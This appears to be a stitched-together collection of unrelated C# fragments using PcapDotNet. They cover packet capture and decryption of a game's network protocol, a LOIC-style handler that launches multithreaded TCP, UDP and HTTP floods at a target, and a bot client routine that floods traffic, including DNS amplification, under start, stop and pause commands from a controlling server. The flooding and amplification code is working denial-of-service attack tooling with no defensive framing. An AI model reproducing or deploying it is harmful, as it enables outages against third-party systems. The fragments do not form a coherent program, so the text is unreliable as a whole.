private static void HandlePacketPort(PcapDotNet.Packets.Packet packet) { string connString = GetConnString(packet); if (portHandler.TryGetValue(connString, out PacketCap cap)) { cap.HandlePacket(packet); } else { cap = new PacketCap(connString); portHandler.Add(connString, cap); Console.WriteLine("Creating PacketCap for connection {0}", connString); cap.HandlePacket(packet); } }
private static string GetConnString(PcapDotNet.Packets.Packet packet) { String srcIp = ""; String dstIp = ""; TcpDatagram tcp = null; EthernetDatagram eth = packet.Ethernet; switch (eth.EtherType) { case EthernetType.IpV4: IpV4Datagram ip = eth.IpV4; tcp = ip.Tcp; srcIp = ip.Source.ToString(); dstIp = ip.Destination.ToString(); break; case EthernetType.IpV6: IpV6Datagram ip6 = eth.IpV6; tcp = ip6.Tcp; srcIp = ip6.Source.ToString(); dstIp = ip6.CurrentDestination.ToString(); break; default: Console.WriteLine("We should never see anything not ipv4 or ipv6 since we filtered by tcp"); return(""); } StringBuilder sb = new StringBuilder(); sb.Append(srcIp); sb.Append(":"); sb.Append(tcp.SourcePort); sb.Append(" to "); sb.Append(dstIp); sb.Append(":"); sb.Append(tcp.DestinationPort); return(sb.ToString()); }
private void HandlePacket(PcapDotNet.Packets.Packet packet) { //give up if 10 errors are seen to prevent unexpected crashes if (numErrors > 10) { return; } String srcIp = ""; TcpDatagram tcp = null; EthernetDatagram eth = packet.Ethernet; int dataStart = eth.HeaderLength; switch (eth.EtherType) { case EthernetType.IpV4: IpV4Datagram ip = eth.IpV4; tcp = ip.Tcp; srcIp = ip.Source.ToString(); dataStart += ip.HeaderLength + tcp.RealHeaderLength; break; case EthernetType.IpV6: IpV6Datagram ip6 = eth.IpV6; tcp = ip6.Tcp; srcIp = ip6.Source.ToString(); dataStart += 40 + tcp.RealHeaderLength; Console.WriteLine("IPv6?"); break; default: Console.WriteLine("We should never see anything not ipv4 or ipv6 since we filtered by tcp"); return; } ushort srcPort = tcp.SourcePort; int dataBytes = tcp.PayloadLength; bool syn = tcp.IsSynchronize; //Console.WriteLine("dataStart={0} dataByes={1} srcPort={2} syn={3} srcIp={4}",dataStart,dataBytes,srcPort,syn,srcIp); if (syn && dataBytes == 0) { ct = new ServiceCore.CryptoTransformHeroes(); ClearBuffer(); if (myIp == srcIp) { int dstPort = tcp.DestinationPort; encryptDict.TryGetValue(dstPort, out encrypt); serviceDict.TryGetValue(dstPort, out serviceType); } else { encryptDict.TryGetValue(srcPort, out encrypt); serviceDict.TryGetValue(srcPort, out serviceType); } Console.WriteLine("TCP connection starting with type {0} to {1}", encrypt, serviceType); SawSyn = true; return; } else if (!SawSyn) { Console.WriteLine("Haven't seen SYN yet from {0}", srcPort); return; } if (encrypt == EncryptionType.Relay || encrypt == EncryptionType.Pipe) { Console.WriteLine("Cannot handle type {0} from {1}", encrypt, serviceType); return; } if (dataBytes == 6 || dataBytes == 0) { //Console.WriteLine("Ping from port {0}", srcPort); ClearBuffer(); return; } //String timestamp = packet.Timestamp.ToString("yyyy-MM-dd hh:mm:ss.fff"); //Console.WriteLine("{0}: {1} bytes={2}", timestamp, connString, dataBytes); recvSize.AddLast(dataBytes); Buffer.BlockCopy(packet.Buffer, dataStart, buffer, bufLen, dataBytes); ArraySegment <byte> dataSeg = new ArraySegment <byte>(buffer, bufLen, dataBytes); Devcat.Core.Net.Message.Packet p = new Devcat.Core.Net.Message.Packet(dataSeg); if (encrypt == EncryptionType.Normal) { long salt = p.InstanceId; ct.Decrypt(dataSeg, salt); } bufLen += dataBytes; while (bufLen != 0) { dataSeg = new ArraySegment <byte>(buffer, 0, bufLen); p = new Devcat.Core.Net.Message.Packet(dataSeg); int pLen = 0; try { pLen = p.Length + p.BodyOffset; if (pLen == 0) { ClearBuffer(); //Console.WriteLine("Received ping"); return; } else { //Console.WriteLine("bufLen={0} pLen={1} recvSize={2}", bufLen, pLen, recvSizeToString()); } } catch (System.Runtime.Serialization.SerializationException) { //Console.WriteLine("{0}: Bad length {1}", connString, e.Message); RemovePacket(); numErrors++; continue; } if (pLen > bufLen) { return; } if (pLen <= 3 || pLen == 6) { //ClearBuffer(); ShortenBuffer(pLen); numErrors++; Console.WriteLine("{0}: Invalid data packet with Length={1}", connString, pLen); continue; } //Console.WriteLine("Read {0} bytes but need {1} bytes, creating object", bufLen, pLen); dataSeg = new ArraySegment <byte>(buffer, 0, pLen); p = new Devcat.Core.Net.Message.Packet(dataSeg); try { Console.WriteLine(p); if (srcIp == myIp) { Console.WriteLine("Client->{0}:", serviceType); } else { Console.WriteLine("Server {0}:", serviceType); } if (classNames.Count == 0) { ProcessTypeConverter(p); Console.WriteLine("Received TypeConverter"); //String reverse = reverseConnString(connString); //Console.WriteLine("Sending TypeConverter to Client {0}",reverse); //portHandler[reverse].processTypeConverter(p); } else { mf.Handle(p, null); } ShortenBuffer(pLen); } catch (InvalidOperationException e) { Console.WriteLine(e); String errMsg = e.Message; String className = ""; int categoryId = p.CategoryId; ShortenBuffer(pLen); MatchCollection mc; if (classNames.TryGetValue(categoryId, out className)) { LogUnhandledClass(className); return; } mc = Regex.Matches(errMsg, @"\.([^,\.]{2,})(,|$)"); if (mc.Count != 0) { className = mc[0].Groups[1].ToString(); LogUnhandledClass(className); return; } Console.WriteLine("{0}: Unknown class error {1}", connString, errMsg); } catch (System.Runtime.Serialization.SerializationException e) { Console.WriteLine("{0}: The packet wasn't ready {1}", connString, e.Message); RemovePacket(); numErrors++; } catch (System.ArgumentOutOfRangeException e) { Console.WriteLine("{0}: The packet was too short: {1}", connString, e.Message); ShortenBuffer(pLen); numErrors++; } catch (System.ArgumentException e) { Console.WriteLine("{0}: Serializing failed bacause a dict was made with 2 identical keys: {1}", connString, e.StackTrace); ClearBuffer(); numErrors++; } } }
private void Attack(bool toggle, bool on) { if ((btnAttack.Text == "IMMA CHARGIN MAH LAZER" && toggle == true) || (toggle == false && on == true)) { try { CheckSettings(); } catch (Exception ex) { Log(ex.Message); return; } btnAttack.Text = "Stop flooding"; if (Settings.AttackType == AttackTypes.TcpFlood) { tcpFlooder = new TCPFlooder[Settings.NumThreads]; Packet packet = CreatePacket(); for (int a = 0; a < tcpFlooder.Length; a++) { tcpFlooder[a] = new TCPFlooder(packet, Settings.SelectedDevice, Settings.Delay); tcpFlooder[a].Start(); } } else if (Settings.AttackType == AttackTypes.UdpFlood) { udpFlooder = new XXPFlooder[Settings.NumThreads]; for (int a = 0; a < udpFlooder.Length; a++) { udpFlooder[a] = new XXPFlooder(Settings.TargetIP, Settings.TargetPort, Settings.AttackType, Settings.Delay, chkWaitReply.Checked, Settings.Payload, chkAllowRandom.Checked); udpFlooder[a].Start(); } } else if (Settings.AttackType == AttackTypes.HttpFlood) { httpFlooder = new HTTPFlooder[Settings.NumThreads]; for (int a = 0; a < httpFlooder.Length; a++) { httpFlooder[a] = new HTTPFlooder(Settings.TargetHost, Settings.TargetIP, Settings.TargetPort, Settings.RelativePath, chkWaitReply.Checked, Settings.Delay, Settings.Timeout, chkAllowRandom.Checked, chkAllowGzip.Checked); httpFlooder[a].Start(); } } tShowStats.Start(); } else { btnAttack.Text = "IMMA CHARGIN MAH LAZER"; if (tcpFlooder != null) { for (int a = 0; a < tcpFlooder.Length; a++) { tcpFlooder[a].IsFlooding = false; } } if (udpFlooder != null) { for (int a = 0; a < udpFlooder.Length; a++) { udpFlooder[a].IsFlooding = false; } } if (httpFlooder != null) { for (int a = 0; a < httpFlooder.Length; a++) { httpFlooder[a].IsFlooding = false; } } //tShowStats.Stop(); } }
//function for sending packets to specified IP Address static void Send(IPAddress ip, int port, int dataAmount, bool dnsAMP) { Task.Run(() => { Task.WaitAll(); }); //Thread readT = new Thread(() => read()); //threadList.Add(readT); //readT.Start(); try { if (!dnsAMP) { int i = 0; while (ClientBot.SEND.sendData(ip, port, dataAmount, "hello there")) { if (hostServer.Connected) { if (clientState == State.CLIENT_SEND) { i++; Console.Write("\r{0}" + clientState + " Sending iteration:{1} ", getTime(), i); ///Console.Write("\r " + clientState); } else if (clientState == State.CLIENT_STOP) { Console.WriteLine(getTime() + "Breaking Out"); break; } else if (clientState == State.CLIENT_PAUSE) { Console.WriteLine(getTime() + "Pause Command Received"); break; } } else { break; throw new Exception("Host Disconnected"); } } } else if (dnsAMP) { int i = 0; PcapDotNet.Packets.Packet packet = ClientBot.SEND.dnsAmplifcation(ip.ToString(), ""); IList <PcapDotNet.Core.LivePacketDevice> packetDevices = PcapDotNet.Core.LivePacketDevice.AllLocalMachine; PcapDotNet.Core.PacketDevice packetDevice = packetDevices[0]; while (ClientBot.SEND.dns(packet, packetDevice)) { if (hostServer.Connected) { if (clientState == State.CLIENT_SEND) { i++; Console.Write("\r {0}" + clientState + "Sending iteration:{1} ", getTime(), i); //Console.Write("\r " + clientState); } else if (clientState == State.CLIENT_STOP) { Console.WriteLine(getTime() + "Breaking Out"); break; } else if (clientState == State.CLIENT_PAUSE) { Console.WriteLine(getTime() + "Pause Command Received"); break; } } else { break; throw new Exception("Host disconnected"); } } } //task(); } catch (Exception e) { Console.WriteLine(getTime() + "shit happens " + e); // Restart(); } }
public PacketData(PcapDotNet.Packets.Packet packet) { TimeStamp = DateTime.Now; Packet = packet; Type = Stack.PacketParser.Parse(Packet); }